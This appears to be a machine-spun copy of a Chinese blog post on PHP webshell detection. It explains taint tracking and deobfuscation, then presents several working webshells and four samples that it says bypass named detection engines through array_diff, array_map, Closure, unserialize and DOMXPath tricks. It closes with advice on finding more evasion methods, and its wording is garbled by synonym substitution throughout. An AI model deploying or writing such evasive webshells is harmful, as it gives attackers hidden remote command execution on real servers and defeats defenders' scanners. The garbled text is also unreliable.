1、词法剖析2、污点追踪3、恶意代码检测

这些新技能我们后面的章节中,我们先讲一下传统的Webshell检测机制,再对照着最新的Webshell检测技能来解释一下如何在新技能下做免杀Webshell(本文所有Webshell基于PHP措辞)

0x02 传统Webshell检测

传统的Webshell检测技能紧张依赖于字符串的正则特色,在面对于已知的样本可以做到高准确率检测,在永劫光的样本收取下,也可以做到知足日常运维中的Webshell检测,举几个经典的Webshell样本

1、经典一句话Webshell

phpwebshelllinux应用PHP的特征做免杀Webshell SQL

<?php eval($_GET['cmd']);?>

2、反序列化Webshell

<?php Class H3{ function __destruct(){ eval($this->c); }}$a= new H3;$a->c = $_GET['cmd'];

3、无字母Webshell

<?php $_ = 97; $__ = 97 + 18; //s $___ = $__ + 6; //y $____ = $__ + 1; //t $_____ = $_ + 4; //e $______ = $__ - 6; //m$res = chr($__).chr($___).chr($__).chr($____).chr($_____).chr($______);$_= $_POST['cmd'];$res($_);

但是对付当下的技能发展,黑客们可以更加精心的编写Webshell来"骗"过传统的Webshell检测机制,而且Webshell易变形,在面对0day样本的时候,传统Webshell检测就会效果欠佳,也就须要更加全面的手段来与其反抗

0x03 新型Webshell检测

对付现如今的情形下,传统的Webshell检测对付0day样本的检测效率已经不是特殊好了,以是这时候就须要一种"主动"的检测办法,能够让引擎主动去理解脚本、剖析样本,创造样本中的恶意行为,而不是依赖人工来添加Webshell特色。

1、污点追踪

举个例子,对付一个Webshell来说,如果要进行任意命令实行,就一定要获取外界数据,对付PHP来说也便是$_GET、$_POST来接管数据,而要想任意命令实行,这些吸收到的数据也就一定要终极通报到eval、system等函数中,而污点追踪技能便是利用这一点,如果样本中的外界变量通过不断通报,终极进入到危险函数中,那基本上就可以断定为Webshell,将外界变量视为污点源,危险函数视为污点汇聚点,跟踪污点传播过程,判断污点变量是否被洗白,终极是否进入污点汇聚点,画一个流程图如下:

2、词法剖析

检测引擎会将各种脚本措辞进行词法语法剖析,然后构建掌握流图和数据流图,并在图上跟踪外界污点变量的通报,利用外界变量是WebShell非常主要的特色,如果创造外界变量终极进入了命令实行函数,就可以判断为Webshell。

引擎可以将传统的条件、循环、函数、工具的静态剖析,目前还可以支持动态变量名、箭头函数、反射、回调等动态特性的剖析,大大的强化的未知样本的检测成功率。

【----帮助网安学习,以下所有学习资料关注我,私信回答“资料”获取----】

 ① 网安学习发展路径思维导图

 ② 60+网安经典常用工具包

 ③ 100+SRC漏洞剖析报告

 ④ 150+网安攻防实战技能电子书

 ⑤ 最威信CISSP 认证考试指南+题库

 ⑥ 超1800页CTF实战技巧手册

 ⑦ 最新网安大厂口试题合集(含答案)

 ⑧ APP客户端安全检测指南(安卓+IOS)

3、加密还原

在此之前我们的Webshell常用的绕过检测的方法便是通过加密来绕过,例子如下:

<?php$_=[];$_=@"$_"; // $_='Array';$_=$_['!'=='@']; // $_=$_[0];$___=$_; // A$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__; // S$___.=$__; // S$__=$_;$__++;$__++;$__++;$__++; // E $___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T$____.=$__;$_=$$____;$___(base64_decode($_[_])); // ASSERT($_POST[_]);

该样本利用了稠浊和加密两种技能,但是现如今的检测引擎都具备有对市情上的大部分PHP加密稠浊进行“脱壳”和利用动态剖析PHP实行器进行虚拟实行,将稠浊加密的代码进行动态还原,解密后稠浊和加密相称于明文传输,再利用污点追踪技能和动静态结合剖析即可大大的提高检测率,并且能够有效减小误报率,同时也让这种在之前百试不爽的技巧无法利用。

0x04 如果Bypass掉新型检测引擎

我们要知道事理就可以想办法如何“蒙骗“住检测引擎,如果大家研究过,或者说亲自参与到了bypass寻衅赛中,就能感想熏染到无论是动静态还是什么技能,末了都是根据污点追踪法则来进行检测,污点追踪的流程在上一节提到了,目前我们有两个方法:

1、利用PHP中其他的命令实行的方法,让检测引擎识别不出这是污点搜集点

2、打断污点追踪的过程,让污点搜集点不落地

拿出一个样本我们来结合代码解释(以下样本分别bypass的引擎会标注出来,截止笔者写这篇的文章的时候只有牧云webshell检测引擎正在开启)

样本1

<?php//ASRC伏魔引擎bypass$result = array_diff(["s","a","b","ys","te","m"],["a","b"]);$a = join($result);array_map($a,(array)$_REQUEST['1']);?>

讲一下事理,首先我们须要利用技巧(PHP本身的特性),来阻断污点追踪的过程,我在fuzz测试的时候创造了array_map()这个函数存在callback并且能够躲避检测

那么首先的能够bypass的污点搜集点已经有了,接下里来便是探求其他函数来将变量"洗白",我选择了array_diff()

这样就可以利用该函数拼凑出一个system函数,再利用array_map()的callback来做命令实行

结果如下:

这样就完成了最大略的一次bypass

样本2

<?php//bypass 牧云 文件名须要设置为system$filename=substr(__FILE__,-10,6);$command=$_POST[1];$filename($command);

__FILE__是PHP的一个魔术常量,它会返回当前实行PHP脚本的完全路径和文件名,我们利用substr()函数逆着截取,就能得到system再利用变量做函数的办法,打断了污点追踪的过程,进行命令实行,也可以成功bypass掉牧云引擎。

结果如下:

牧云引擎检测结果如下:

样本3

<?php//bypass 牧云 and TAV反病毒引擎+洋葱恶意代码检测引擎class A{ public function __construct(){} public function __wakeup(){ $b = $_GET[1]; $result = array_diff(["s","a","b","ys","te","m"],["a","b"]); $a = join($result); Closure::fromCallable($a)->__invoke($_REQUEST[2]); }}@unserialize('O:1:"A":1:{s:10:" A comment";N;}');

这个套了一层反序列化,隐蔽污点搜集点的方法与样本一相同,利用数组差级布局system后利用原生类Closure的fromCallable函数

进行命令实行(在牧云中array_diff(["s","a","b","ys","te","m"],["a","b"]);这种办法会被check,索性换成动态掌握,这样也能打断污点追踪)

结果如下:

样本4

<?php// dom and xml needed, install php-xml and leave php.ini as default.// Author:LemonPrefect$cmd = $_GET[3];$_REQUEST[1] = "//book[php:functionString('system', '$cmd') = 'PHP']";$_REQUEST[2] = ["php", "http://php.net/xpath"];$xml = <<< XML<?xml version="1.0" encoding="UTF-8"?><books> <book> <title>We are the champions</title> <author>LemonPrefect</author> <author>H3h3QAQ</author> </book></books>XML;$doc = new DOMDocument;$doc->loadXML($xml);$clazz = (new ReflectionClass("DOMXPath"));$instance = $clazz->newInstance($doc);$clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]);$clazz->getMethod("registerPHPFunctions")->invoke($instance);$clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]);

该样本须要一些条件,条件是开启了php-xml拓展才可以,其事理便是用XML去注册一个registerPHPFunctions,也便是我们想要实行的system再利用getClosure去触发该方法而构成的webshell,个中即利用到了PHP的特性,利用registerNamespace和registerPHPFunctions来中断污点追踪,从而RCE

结果如下:

0x05 总结

在布局Webshell的时候,我们如果知道Webshell检测引擎事理,就知道如何去bypass了,对付若何过掉Webshell引擎这件事,须要开动脑筋多去找一下PHP的文档,去找一下原生类和其他能够中断污点追踪的方法,让引擎跟踪不到你的行为,而且只管即便不要让敏感字符串涌如今代码本体,由于有的引擎还是有字符串的正则特色检测,同时也要学会剖析,剖析自己的Webshell到底哪里出的问题,从而找到更好的方法去更换。